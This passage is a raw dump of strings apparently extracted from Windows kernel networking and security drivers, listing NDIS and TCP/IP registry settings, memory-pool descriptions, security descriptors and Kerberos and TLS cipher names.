TCPIP-DATA TCPIP-DAD GEOLOCATION WLANNETMGR WCMNetActivation NDISInternal Surprise Wakes Spurious Wakes Power Transitions Last Wake IRP Latency (ms) Max Wake IRP Latency (ms) Avg Wake IRP Latency (ms) Last SetPowerOid Latency (ms) Max SetPowerOid Latency (ms) Avg SetPowerOid Latency (ms) Unspecified Query PnP Remove PnP Remove Surprise Remove Query PnP Stop PnP Stop System Power AoAc Nic Quiet PnP Operation Apply Interface Change Magic Packet Bind Changes OID Processing Pause Handler Restart Handler Reset Handler PnP Event Hang Handler Direct OID Processing Cancel Direct OID Data Send Cancel Data Send Receive Complete Wait Wake Unknown WakeCount BusyCount Reason Total Time (ms) Nic Auto Power Saver Events preventing Nic Dx Breakdown of OIDs preventing Nic Dx NetworkInterface\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} \Registry\Machine\System\CurrentControlSet\Control\NetworkSetup\Interfaces\%wZ SuggestedInstanceId MigratedFromNetSetupV1 NetworkInterface HardwareLoopback IMMiniport ComponentID Flags MaxTimeAtDispatch DispatchTimeWarning DispatchTimeWarningInterval DpcWatchdogTimerThreshold WorkerThreadPriority MaxPacketsSendAtPassive MaxPacketsSendCompleteAtPassive MaxPacketsReceiveAtPassive MaxPacketsReceiveCompleteAtPassive MaxPacketsSendAtDispatch MaxPacketsSendCompleteAtDispatch MaxPacketsReceiveAtDispatch MaxPacketsReceiveCompleteAtDispatch \Device\lwm\NetworkInterface\%wZ \Registry\Machine\DEVICES\%ws \DEVICE\ \GLOBAL??\ \Parameters \Adapters\ \NdisAdapters\ \FilterDriverParams \FilterAdapterParams \FilterInstanceParams \Device\NDMP *IPChecksumOffloadIPv4 *TCPChecksumOffloadIPv4 *TCPChecksumOffloadIPv6 *UDPChecksumOffloadIPv4 *UDPChecksumOffloadIPv6 *TCPUDPChecksumOffloadIPv4 *TCPUDPChecksumOffloadIPv6 *LsoV1IPv4 *LsoV2IPv4 *LsoV2IPv6 *IPsecOffloadV1IPv4 *TCPConnectionOffloadIPv4 *TCPConnectionOffloadIPv6 *IPsecOffloadV2 *IPsecOffloadV2IPv4 *UsoIPv4 *UsoIPv6 *RscIPv4 *RscIPv6 *UdpRsc *EncapsulatedPacketTaskOffload *EncapsulatedPacketTaskOffloadNvgre *EncapsulatedPacketTaskOffloadVxlan *HeaderDataSplit *Rss *NumaNodeId *MaxRssProcessors *RssBaseProcGroup *RssBaseProcNumber *RssMaxProcNumber *RssMaxProcGroup *RssProfile *ModernStandbyWoLMagicPacket *WakeOnPattern *WakeOnMagicPacket *DeviceSleepOnDisconnect *PMARPOffload *PMNSOffload *PMWiFiRekeyOffload MediaDisconnectToSleepTimeOut *SelectiveSuspend *SSIdleTimeout SSIdleTimeoutMS AOACTest *NicAutoPowerSaver *NicAutoPowerSaverTimeout *SSIdleTimeoutScreenOff *FlowControl *NdisDeviceType NicSwitches\0 *Flags *SwitchType *SwitchId *SwitchName *NumVFs SoftwareTimestampSettings RDMA Activity MmGetSystemRoutineAddressEx \CallBack\NdisBindUnbind DriverDate DriverVersion InfPath InstallTimestamp NULL {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}-{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}-%04u NdisMajorVersion NdisMinorVersion DriverMajorVersion DriverMinorVersion ActivePolicyCode \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\DeviceAccess \Registry\Machine\Software PacketStackSize ReceiveWorkerThreadPriority ReceiveWorkerDisableAutoStart DefaultPnPCapabilities NoPauseOnSuspend MaxCachedNblContextSize NicQuietInitTimeoutMs NicQuietWakeTimeoutMs NicQuietDerefDefaultTimeoutMs NicQuietDerefExtendedTimeoutMs StartDeviceSync AllowWakeFromS5 DebugLoggingMode DatapathVerifier NblContextVerifier AllowFlowControlUnderDebugger SriovSupportTestOverride EnableNicAutoPowerSaverInSleepStudy DisableNaps AOACTestOverride EnableScreenOnNaps DisableWDIWatchdogForceBugcheck DisableNDISWatchDog ImplicitPowerRefManagement DirectedMacForNapsEnabled DisableReenumerationTimeoutBugcheck RssBaseCpu MaxNumRssCpus PadShortPackets ForceUWPWlanMacAddressBlock NdisWatchdogPnPTimeout NdisWatchdogOidTimeout AllowMultipleVPortsPerVF ndisWdfTryAcquireNicActive MediaTypes BusNumber PnPCapabilities RemoteBootCard NdisDriverVerifyFlags SGMapRegistersNeeded RootDevice DefaultFilterSettings long word dword enum edit Optional Default Type LowerComponent %04d PldrCapability usbrndis6 usb80236.sys *MediaType *PhysicalMediaType NdisUpdatedNetworkInterface TrackNblOwner StuckNblReaction LeakedNblReaction NblTimeoutMs NblTrackerHistorySize NblTracking OidWatchdogTimeout \Device\Ndis \Global??\NDIS MofResourceName SharedMemoryAllocationDurationHistogram SharedMemoryAllocationDurationHistogramAutoReset SharedMemoryAllocationDurationHistogramMaxHistograms SharedMemoryAllocationDurationHistogramStart SharedMemoryAllocationDurationHistogramNumIntervals SharedMemoryAllocationDurationHistogramIntervalLength DMA allocation times PacketDirect Transmit Counters PacketDirect Receive Counters PacketDirect Receive Filters PacketDirect EC Utilization PacketDirect Queue Depth PASS_THROUGH IfIndex %u: VPort %u IfIndex %u %s: %s multi-Q: %wZ %wZ: %wZ %s: %wZ EC %u: %s: %s %u RSS %u %wZ: EC %u \Registry\Machine\System\CurrentControlSet\Services\NDProxy AllowSilentReenumerate ndis.sys NdisGetVersion640Shim NdisReadConfiguration NumCalls_NdisAllocateSharedMemory NumCalls_NdisMAllocateSharedMemory_WithGenericHandle CumulativeDuration_NdisAllocateSharedMemory_us BytesAllocated_NdisAllocateSharedMemory BytesFailed_NdisAllocateSharedMemory NumCalls_NdisFreeSharedMemory CumulativeDuration_NdisFreeSharedMemory_us BytesFreed_NdisFreeSharedMemory NumCalls_NdisMAllocateSharedMemory CumulativeDuration_NdisMAllocateSharedMemory_us BytesAllocated_NdisMAllocateSharedMemory BytesFailed_NdisMAllocateSharedMemory NumCalls_NdisMFreeSharedMemory CumulativeDuration_NdisMFreeSharedMemory_us BytesFreed_NdisMFreeSharedMemory NumCalls_NdisMFreeSharedMemoryWorker CumulativeDuration_NdisMFreeSharedMemoryWorker_us NumCalls_ndisAllocateHistogramEntry_Failed NumCalls_HalAllocateCommonBufferEx BytesAllocated_HalAllocateCommonBufferEx BytesFailed_HalAllocateCommonBufferEx NumCalls_HalFreeCommonBuffer BytesFreed_HalFreeCommonBuffer NdisWdfIdleTimeout NdisMofResource Per Processor Network Interface Card Activity Per Processor Network Activity Cycles Physical Network Interface Card Activity _Total EnabledDatapathEventCounters EnabledDatapathCycleCounters netadaptercx.sys NAPS Directed MAC Pattern TCPIP TCPIP6 NDISTEST6 \??\ROOT#VMS_VSMP NetworkDirectDisable NetworkDirectGlobalFlags \Registry\Machine\System\CurrentControlSet\Services\Tcpip\Parameters HostName ThreadStackGuarantee PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister NdisAllocateMemory NdisAllocateMemoryWithTag NdisAllocateMemoryWithTagPriority NdisAllocatePacketPool NdisAllocatePacketPoolEx NdisFreePacketPool NdisQueryMapRegisterCount NdisFreeMemory NdisGetRoutineAddress NdisMIndicateStatusEx NdisMOidRequestComplete NdisMSendNetBufferListsComplete NdisFSendNetBufferListsComplete NdisFSendNetBufferLists NdisFReturnNetBufferLists NdisFIndicateReceiveNetBufferLists NdisFPauseComplete NdisAcquireRWLockRead NdisTryAcquireRWLockRead NdisAcquireRWLockWrite NdisTryAcquireRWLockWrite NdisTryPromoteRWLockFromReadToWrite NdisReleaseRWLock NdisAllocateRWLock NdisFreeRWLock Monitoring UnbindOnAttach UnbindOnDetach NoStartAtBoot FilterClass \Registry\Machine\System\CurrentControlSet\Control\NetworkSetup2\Protocols\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\Kernel {%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}-%04d StateSeparatedRegistryLayout \Registry\Machine\System\CurrentControlSet\Control\NetworkSetup2\Parameters UpperRangeReplacementToken DoNotWriteBindingsToRegistry wlan ndis5 ms_medium_converter_top ms_firewall_lower ms_medium_converter_bottom ms_medium_converter_128 NamedAltitudes \Registry\Machine\System\CurrentControlSet\Services\WdiWifi DisableNblUseAfterFreeVerifier IfUsedNetLuidIndices IfType Ndis\IfTypes Software Loopback Interface DefaultIfLoopbackDesc Ndis Loopback Pseudo-Interface DefaultIfLoopbackAlias Characteristics Default Compartment InitialIfIndex cpu_%lu Balanced NETSETUPPKEY_Operational_ExecutionContextProfileSource NETSETUPPKEY_Operational_ExecutionContextProfile \SystemRoot\system32\drivers\ \Device\lwm DmaUseNumaAwareAllocator DmaTelemetryBucketMasks \DosDevices\kloader \Device\kloader \Registry\Machine\System\CurrentControlSet\Control\KLoader\Modules ServiceName {%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} AzOidTelemetryFilter1 AzOidTelemetryFilter0 AzOidTelemetryFilter3 AzOidTelemetryFilter2 AzOidTelemetryFilter AzOidTelemetryFilter13 AzOidTelemetryFilter12 AzOidTelemetryFilter15 AzOidTelemetryFilter14 AzOidTelemetryFilter9 AzOidTelemetryFilter8 AzOidTelemetryFilter11 AzOidTelemetryFilter10 AzOidTelemetryFilter5 AzOidTelemetryFilter4 AzOidTelemetryFilter7 AzOidTelemetryFilter6 NdisRequestSourceRestore NdisRequestSourceNsi NdisRequestSourceInvalid NdisRequestInternal NdisRequestSourceWmi Unknown Source Unknown Target NdisRequestSourceIoctl Detach Invalid Restart Bind None Unbind Attach Pause NullDriver NdisThreadState IoCreateDeviceSecure IoValidateDeviceIoControlAccess D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGW;;;WD)(A;;GR;;;RC) SeConvertStringSecurityDescriptorToSecurityDescriptor {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class DeviceType DeviceCharacteristics NoUseClass Security Class NoDisplayClass Properties TELASSERT TotalEntriesFlushed MaxEntriesStored MinEntriesFlushed MaxEntriesFlushed NumAllocationFailures NumBucketLimitReached SummaryCount NumLargeEventFailures NumFlushes NdisMuxDrivers NetAdapterDrivers NdisFilterDrivers NdisProtocolDrivers InterfaceDrivers NetAdapters Muxes BindRules Services Clients Filters Protocols Interfaces -{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} \Registry\Machine\System\CurrentControlSet\Control\NetworkSetup2\BindPaths\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\Properties \Registry\Machine\DEVICES\Networking\NetAdapters\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\Bindings\%ws\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} \Registry\Machine\DEVICES\Networking\%ws\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}%ws \CachedRuntimeProperties \Keywords \Properties \Kernel \Registry\Machine\System\CurrentControlSet\Control\NetworkSetup2\%ws \Registry\Machine\DEVICES\Networking\%ws PH48 \??\PCI#VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00#000C29FFFFF29C8 6Software Loopback Interface 2Loopback Pseudo-Interface NsiPersistentStore \%ls\%u \Registry\Machine\System\CurrentControlSet\Control\Nsi %ls\%ls \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces Windows Filtering Platform NULL NCB: ,.02 02,.02,.$&(* 02,.02,.02,.ST02UV e\Device\Ndis Unknown TcpipDad TCPIP-DAD TcpipRs TCPIP-RS IPsec-LPM \%ls \Registry\Machine\System\CurrentControlSet\Services\NcbService\NCB NetworkConnectionBroker RtcBaseSystemSlotNumber \Callback\ProcessorAdd ALE Auth Recv/Accept V4 ALE Auth Recv/Accept V6 ALE Auth Connect V4 ALE Auth Connect V6 PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister ImagePath TELASSERT \Device\NDIS loopback other ethernet ieee1394 tunnel wireless tokenring %s_%I64u iftype iftype%I64u Kernel-OneCore-DeviceFamilyID \Registry\Machine\Devices\Networking \Registry\Machine\Devices\Networking\Nsi SourceAddress Pattern ReservedSlotTestOverride TCPIP-Unknown RtcPortRangeStart RtcPortRangeNumberOfPorts RtcUdpPortRangeStart RtcUdpPortRangeNumberOfPorts PdcActivationDisabled \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\ FeatureId Override Previous Latest \Registry\Machine\System\CurrentControlSet\Control\NMR\providers \Registry\Machine\SYSTEM\CurrentControlSet\Services\%ls BFE\Parameters\Policy\BootTime\Filter \Registry\Machine\System\CurrentControlSet\Services\BFE Start \Registry\Machine\System\CurrentControlSet\Services\BFE\Parameters\Policy\Options EnableAuditMode \Registry\Machine\System\CurrentControlSet\Services\BFE\Parameters AleDebugEnabled w\Driver\Ndu FeTelemetryRaiseOnTxnCommit WfpStackExpansionEnabled NblVerifierEnabled WfpVerifierEnabled Permit Callout-Terminating Block Continue None Callout-Inspection Callout-Unknown No Match FWPS_CONNECTION_NOT_REDIRECTED FWPS_CONNECTION_REDIRECTED_BY_SELF FWPS_RIGHT_ACTION_WRITE FWPS_PACKET_NOT_INJECTED FWPS_PACKET_INJECTED_BY_SELF FWPS_CONNECTION_REDIRECTED_BY_OTHER FWPS_CONNECTION_PREVIOUSLY_REDIRECTED_BY_SELF FWPS_PACKET_INJECTED_BY_OTHER FWPS_PACKET_PREVIOUSLY_INJECTED_BY_SELF IsHvsiContainerOverride \Registry\Machine\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\dnscache NrtJoinFailed1 MismatchedRecordTypes1 ProxyAlreadyJoinedWithDiffDNS DnsAlreadyAssociated NoDnsAssociation NrtJoinFailed2 JoinNotAllowedForLiteralsOnlyProxyRecord MismatchedRecordTypes2 ConnectedDnsAssociation \Device\NameResTrk D:P(A;;GA;;;WD)(A;;GA;;;SY)(A;;GA;;;BA) H( IoCreateDeviceSecure IoValidateDeviceIoControlAccess SeConvertStringSecurityDescriptorToSecurityDescriptor DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} NoDisplayClass NoUseClass Security DeviceType Properties Class IsVisible Containers\Policy RtlQueryRegistryValuesEx Profile IHvsiKLrpcEp001 DNSResolver SummaryCount NumLargeEventFailures NumAllocationFailures MaxEntriesStored NumFlushes NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed OpaqueKeyBlob NTLM NTLM Security Package Microsoft Primitive Provider Kerberos WDigest Schannel TSSSP pku2u NegoExtender Microsoft Unified Security Protocol Provider \Device\KsecDD \Registry\Machine\System\CurrentControlSet\Control\Lsa\Kerberos\Parameters MaxTokenSize Microsoft Kerberos V1.0 (null) Token Digest Authentication for Windows HMAC_MD5 3DES CHACHA20_POLY1305 \Registry\MACHINE\System\CurrentControlSet\Control\Cryptography\Providers\Microsoft SSL Protocol Provider EnableTlsExternalAlgorithms ECDH ECDH_P256 ECDH_P384 ECDH_P521 \Registry\MACHINE\System\CurrentControlSet\Control\Cryptography\Providers\Microsoft SSL Protocol Provider\KeyExchange CngAlgorithm MessageFlow ECDSA ECDSA_P256 ECDSA_P384 ECDSA_P521 \Registry\MACHINE\System\CurrentControlSet\Control\Cryptography\Providers\Microsoft SSL Protocol Provider\Signature TlsCodePoint SignatureStyle SHA1 SHA256 SHA384 SHA512 \Registry\MACHINE\System\CurrentControlSet\Control\Cryptography\Providers\Microsoft SSL Protocol Provider\Hash HashDigestLength ChainingModeCBC ChainingModeGCM ChainingModeN/A CipherMode \Registry\MACHINE\System\CurrentControlSet\Control\Cryptography\Providers\Microsoft SSL Protocol Provider\Cipher BlockLength \Registry\Machine\System\CurrentControlSet\Control\Lsa\Pku2uSSP\Parameters HMAC-SHA1-96 PKU2U Security Package \Registry\Machine\System\CurrentControlSet\Control\Lsa\NegoExtender\Parameters ChainingMode ObjectLength Kerberos AES256-CTS-HMAC-SHA1-96 Kerberos AES128-CTS-HMAC-SHA1-96 Kerberos AES256-CTS-HMAC-SHA1-96-PLAIN Kerberos AES128-CTS-HMAC-SHA1-96-PLAIN RSADSI RC4-MD4 RSADSI RC4-HMAC RSADSI RC4 RSADSI RC4-EXP TELASSERT The hash must be at least the message block size aes128-cts-hmac-sha1-96 aes256-cts-hmac-sha1-96 hmac-sha1-96 ChainingModeCBC ChainingMode SHA1 A cipher suite's included checksum must be the required checksum for the included cipher GSS-API cannot have a QOP when conf = false GSS-API cannot havea QOP when conf = false Splitting buffer into parts that exceed the whole SHA256 SHA384 aes128-cts-hmac-sha256-128 aes256-cts-hmac-sha384-192 hmac-sha256-128 hmac-sha384-192 HashDigestLength Decrypted text shorter than expected. DecryptCTS is only for use with CBC mode algorithm handles. Allocation failure during initialization Incorrect length calculated in GetMarsheldPolicy You can only retrieve the global policy following a successful call to Read() Integers must be at least one byte in AccumulateOnes One's complement addition should not wrap more than once You must pass the /WHOLEARCHIVE flag to the linker Mismatched calls to LocalCipherPolicy's init and uninit Tried to free cipher partner handle with wrong policy You cannot call GetDefaultDomainPartnerHandle on a non-domain policy. Only the domain policy has the DDSET defined Kernel cannot use last-resort initialization Non test code is attempting to bypass policy rc4-hmac-md5 hmac-md5 Cannot uninitialize ciphers that are not initialized 8IPS LB Client InternetPort Port %u TCP/IP multicast group (FLNG) normal control for pend packet (IPNG) Initializing Template Connect TCB Unknown retreat contiguous header (IPNG) SubnetMask IPAddress !"#$)* !"#$)( TCP/IPv6 - L3/L4 \DEVICE\{93123211-9629-4E04-82F0-EA2E4F221468} TCP/IPv4 - L2 TCP/IPv6 - L2 Upper ND Offload ARP Offload ND Bitmap ARP Bitmap dtcpip.sys TCP/IPv4 - L3/L4 TcpAckFrequency TcpDelAckTicks address pair indices for sorting (IPNG) sort information (IPNG) FULL ack received on TCB not enough data unacked EDP://EvaluationFlags EDP://PolicyFlags EDP://EnterpriseIds DL address allocation helper (FLNG) host/ networkLoopback nrouting header copy 3 (IPNG) hop by hop options copy 3 (IPNG) POLICYAPPID:// NULL inspect WolDebugEnabled \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters s\Device\WFP \DosDevices\WFPDev \Device\NXTIPSEC \Device\IPSECDOSP TcpAllowUnconstrainedInterfaceLso TcpRcvBufDefault TcpSack TcpFlowLabelRefreshOnSynRexmit TcpSynRcvdLimit ConnectFailFast RLedbatTargetDelay TcpRcvBufMax SendTrackerSackLimit TcpInputQueueUpperLimit TcpPacingRate TcpFastopenKey TcpFlowLabelRefresh TcpBatchOptimizationEnabled LedbatTargetDelay HystartMaxEta HystartNSampling ConservativeSlowStartRounds HystartMinEta ConservativeSlowStartGrowthDivisor TcpMaxPartitionCount CPU%u APPID://FQBN NTLM default DefaultGateway \Registry\User\%s\SOFTWARE\Policies\Microsoft\Windows\QoS IPsec Windows Filtering Platform \Device\eQoS Tcpip Global NSI client context Tcpip Global NSI provider context Health PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\Interfaces \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\NsiObjectSecurity \Registry\Machine\Devices\Networking\Tcpip\ \KernelObjects\LowPagedPoolCondition \KernelObjects\LowMemoryCondition \KernelObjects\HighPagedPoolCondition \KernelObjects\HighMemoryCondition \KernelObjects\LowNonPagedPoolCondition \KernelObjects\HighNonPagedPoolCondition Kernel-OneCore-VailGuest Kernel-ProductInfo PortTrackerEnabledMode WcosLoopbackEnabled \Device\TcpAllocHooks svchost.exe TCPIP Performance Diagnostics (Per-CPU) TCPIP Extended Performance Diagnostics TCPIP Performance Diagnostics TCPIP Transport Layer Packet Drop Counters \Callback\PowerState Ports %u-%u InternetPortReservation TcpRcvBufLowLatMax TcpRcvBufLowLatFast TcpRcvBufLowLatNormal TcpRcvBufLowLatLow TcpGlobalObject \Callback\TcpTimerStarvationCallbackTemp \Callback\TcpConnectionCallbackTemp send-request pool (TCP) aggregate NetBufferList pool (TCP) aggregate-NetBuffer pool (TCP) Tail Loss Probe NBL (TCP) RLedbat struct (TCP) posted injected Initializing Template Accept TCB TCB allocation in TcpCreateAndAcceptTcb (TCP) dTCB Connect Request Pool (TCP) TCB allocation (TCP) Initializing Template Accept from SYN_TCB inspect-deferred normal-deferred Updating Template Connect Inspect completed. ChainingModeECB KeyLength issued ChainingMode TCB cancel-queue (TCP) connection tuple pool (TCP) TCB pool (TCP) Connection shutdown receive-request pool (TCP) FIN injected Delayed Delivery MDL pool (TCP) Delayed Delivery NetBufferList pool (TCP) timer wheels (TCP) Initializing Template SYNTCB SYN-TCB pool (TCP) connection partitions (TCP) PartitionModule endpoint pool (TCP) NPP tracking work queue (TCP) Updating SYN_TCB Template. Updating Template Accept TCB. FIN received Updating Template Automatic heuristic. Reassembly conflict Large backlog/Slow progress reassembly pool (TCP) delay-queues (TCP) input-queue pool (TCP) max data retransmission exceeded next hop change on TCB timeout on TCB full ack received udp offload interface port pool (UDP) endpoint-query-security work-queue endpoint-security work-queue port-reservation work-queue notification channel work-queue endpoint-creation work-queue endpoint-binding work-queue endpoint-close work-queue endpoint-cleanup work-queue NetBufferList pools (UDP) message-indication module (UDP) send-messages-request pool (RawIP) send-messages-list pool (RawIP) message-indication pool (RawIP) IcmpDosLowWaterMark \Registry\Machine\System\CurrentControlSet\Services\BFE\Parameters UdpExemptPortRange IcmpDosHighWaterMark AleDebugEnabled CacheProfileCrossing AleAuthTelemetryThreshold \Registry\Machine\System\CurrentControlSet\Services\BFE\Parameters\Policy\Options SetNameOnSecureSocket LocalAddrRedirect WIN://SCMUserService Secure Socket Secure Socket Filters App info not available \windows\system32\bytecodegenerator.exe \Registry\Machine\System\CurrentControlSet\Control\MiniNT y\DosDevices\WfpAle \Device\WfpAle System \Registry\Machine\Software Network QoS Policy \Registry\Machine\SOFTWARE\Policies\Microsoft\Windows\QoS \Registry\User\%s NetworkQoSPolicyRoot http: https: EQoSProxy Tcp Autotuning Level Application DSCP Marking Request Normal Restricted Do not use NLA \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\QoS Highly Restricted Allowed Ignored Version URL Recursive Throttle Rate DSCP Value NetDirectPort ConditionTemplate Precedence NetProfile Local IP Local Port Application Name Protocol Remote IP Prefix Length Remote IP Remote Port Local IP Prefix Length 802.1p DSCP DstIPPrefix DstIP MinWeight BurstRate PeakRate ThrottleRate SrcPortHigh SrcPortLow Port AppName DstPortHigh DstPortLow SrcIPPrefix SrcIP UserSID 0123456789ABCDEF http https WfpVerifierEnabled NblVerifierEnabled DisabledComponents \Registry\Machine\System\CurrentControlSet\Services\IPxlatCfgSvc NSI binding context (IPNG) \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\ MaxLoopbackQueueLength PermitNonCellularCLAT interface manager SID (IPNG) multicast general query timer table for interface (IPNG) multicast report timer table for interface (IPNG) anycast advertisement timer table for interface (IPNG) DAD announcement timer table for interface (IPNG) per-processor interface statistics (IPNG) multicast workitem for interface (IPNG) multicast specific query timer table for interface (IPNG) interface (IPNG) interface manager ACL (IPNG) unicast address event table for interface (IPNG) interface work item (IPNG) interface work queue (IPNG) set offload workitem (IPNG) set offload context (IPNG) query real nexthop workitem (IPNG) query real nexthop context (IPNG) update packet filter context (IPNG) validate interface settings workitem (IPNG) validate interface settings context (IPNG) Interface subinterface (IPNG) notify interface change workitem (IPNG) wol power source change workitem (IPNG) set wol workitem (IPNG) per-processor subinterface statistics (IPNG) subinterface workitem (IPNG) bandwidth persist workitem (IPNG) interface statistics (IPNG) subinterface statistics (IPNG) neighbor event table (IPNG) neighbor set (IPNG) neighbor solicitation work item (IPNG) neighbor resolution work item (IPNG) neighbor change notify workitem (IPNG) neighbor (IPNG) update path notification context (IPNG) path bandwidth direction (IPNG) routing epoch change notify workitem (IPNG) route change notify workitem (IPNG) neighbor list for gateway reachability (IPNG) fast open cookie (IPNG) update path notification workitem (IPNG) DisableRandomFlowLabel route insertion (IPNG) route (IPNG) path hash table (IPNG) qualifying route structure (IPNG) route pool (IPNG) AutoConfiguredRoutePreferredLifetimePercent route lookup context (IPNG) path (IPNG) site prefix change notify workitem (IPNG) forward path (IPNG) header-include header copy (IPNG) clone for contiguous header (IPNG) routing header copy (IPNG) hop by hop options copy (IPNG) join path arguments (IPNG) control (IPNG) retreat partial transport header (IPNG) control header-include header (IPNG) routing header copy 2 (IPNG) hop by hop options copy 2 (IPNG) retreat extension header (IPNG) net buffer for IPv6 header (IPNG) IPv6 header-include header 2 (IPNG) IPv6 header-include header (IPNG) retreat MAC header (IPNG) retreat strong clone (IPNG) NBL for strong clone packet (IPNG) inspect inject control (IPNG) NBL clone to forward (IPNG) send per processor state (IPNG) pre-validated receive per processor state (IPNG) receive per processor state (IPNG) per-processor send pool (IPNG) per-processor injection cache (IPNG) pre-validated receive state (IPNG) per-processor receive state (IPNG) per-processor statistics (IPNG) control data pool (IPNG) session state source list (IPNG) session state routing header (IPNG) session state hop by hop options (IPNG) session state interface list (IPNG) raw session state (IPNG) session state (IPNG) persistent route delete workitem (IPNG) persistent route add workitem (IPNG) address identifier (IPNG) link-local address change notify workitem (IPNG) Network address list for FL provider (IPNG) set session info context (IPNG) DAD notify workitem (IPNG) DAD notify context (IPNG) address change notify workitem (IPNG) WOL context (IPNG) local address array (IPNG) CAR object for local address (IPNG) local address identifier (IPNG) local address (IPNG) NBL for strong packet copy (IPNG) NBL for strong pend packet (IPNG) SHA256 control for packet copy (IPNG) per-processor counts (IPNG) retreat ICMP error packet (IPNG) ICMP error packet (IPNG) retreat IPv4 clone header (IPNG) compartment work queue (IPNG) compartment route set (IPNG) compartment (IPNG) compartment cleanup work item (IPNG) locality data RW (IPNG) locality network table entry (IPNG) locality table (IPNG) network state update operation (IPNG) network state update work queue item (IPNG) network state update workitem (IPNG) rss hash rundown (IPNG) hash table (IPNG) NBL clone for recv batching (IPNG) NBL clone for send batching (IPNG) batch per proc state (IPNG) batch proc state (IPNG) IpMaxBatchSize receive batch context (IPNG) send batch context (IPNG) loopback EC (IPNG) loopback EC array (IPNG) loopback workitem (IPNG) loopback workitem array (IPNG) loopback callout stack (IPNG) IPS route lookup context (IPNG) IPS packet chain (IPNG) IPS service chain rundown object (IPNG) IPS service chain (IPNG) IPS injection context (IPNG) IPS MDL (IPNG) IPS clone NBL (IPNG) IPS client ndis pool (IPNG) IPS client (IPNG) IPS service chain node (IPNG) IPS client rundown object (IPNG) IPS client workitem (IPNG) IPS client NBL pool (IPNG) client work item (IPNG) client (IPNG) proxy neighbor (IPNG) multicast source delete list (IPNG) multicast source add list (IPNG) multicast marking source (IPNG) multicast source entry (IPNG) multicast session source (IPNG) multicast session state (IPNG) multicast discovery record (IPNG) Mfe work item (IPNG) Mfe next hop (IPNG) Mfe (IPNG) strong clone packet for forwarding (IPNG) deep copy packet for forwarding (IPNG) Mfe work item context (IPNG) Mfe set (IPNG) Mfe set timer table (IPNG) Mfe hash set (IPNG) reassembly fragment group hash table (IPNG) reassembly timer table (IPNG) reassembly WFP context (IPNG) reassembly record (IPNG) reassembly hash table (IPNG) source address list for sorting (IPNG) source index array (IPNG) NLA set (IPNG) destination usage (IPNG) source usage (IPNG) sort element (IPNG) qsort array (IPNG) input flat address list (IPNG) input address list copy (IPNG) physical interface request SID (IPNG) physical interface request ACL (IPNG) discovery context (IPNG) physical interface request (IPNG) physical interface request timer table (IPNG) physical interface request queue (IPNG) echo request timer table (IPNG) echo request SID (IPNG) NBL for echo request (IPNG) echo request notification context (IPNG) echo request ACL (IPNG) data for echo request (IPNG) MDL for echo request (IPNG) NB for echo request (IPNG) fallback (IPNG) fragment (IPNG) fragment NBL for grouping (IPNG) fragment group (IPNG) vmSwitch OOB data (IPNG) prefix policy (IPNG) \DosDevices\NXTIPSECDevice nEnableIPsecLsoOffload EnableHeuristics L4XsumOffload \Registry\Machine\System\CurrentControlSet\Services\IPSEC EnableOffload IPSEC Kernel-OneCore-DeviceFamilyID SHA1 AES-GMAC ChainingModeCBC 3DES ChainingModeGCM HashDigestLength ObjectLength \DosDevices\IPSECDOSPDevice IPv4 fragment (IPNG) IPv4 provider context (IPNG) IPv4 PNP event client context (IPNG) DisableTypeOfServiceSocketOption InterfaceMetric IPv4 registry sync args (IPNG) SolicitationAddressBcast UseZeroBroadcast TypeOfInterface DefaultGatewayMetric IPAutoconfigurationEnabled PerformRouterDiscovery IPv4 timestamp reply packet (IPNG) IPv4 address mask reply packet (IPNG) ICMP echo reply ancillary data (IPNG) IPv4 echo reply packet (IPNG) IPv4 router solicitation packet (IPNG) IPv4 router advertisement packet (IPNG) IPv4 echo data MDL (IPNG) IPv4 echo reply MDL (IPNG) IPv4 echo options MDL (IPNG) IPv4 echo ancillary data (IPNG) IPv4 echo request (IPNG) IPv4 reassembly structure (IPNG) IPv4 reassembly structures (IPNG) IPv4 reassembly unfragmentable data (IPNG) shim for IPv4 reassembly (IPNG) IPv4 fragment reassembly timeout packet (IPNG) IGMP NBL (IPNG) IGMP source list (IPNG) retreat IGMP packet (IPNG) IGMP packet (IPNG) IPv6DisableOptimisticDadDhcp IPv6DisableOptimisticDadRandom IPv6 provider context (IPNG) IPv6DisableOptimisticDadLinkLayer IPv6EnableAtomicFragments site prefix entry (IPNG) IPv6 router advertisement packet (IPNG) IPv6 router 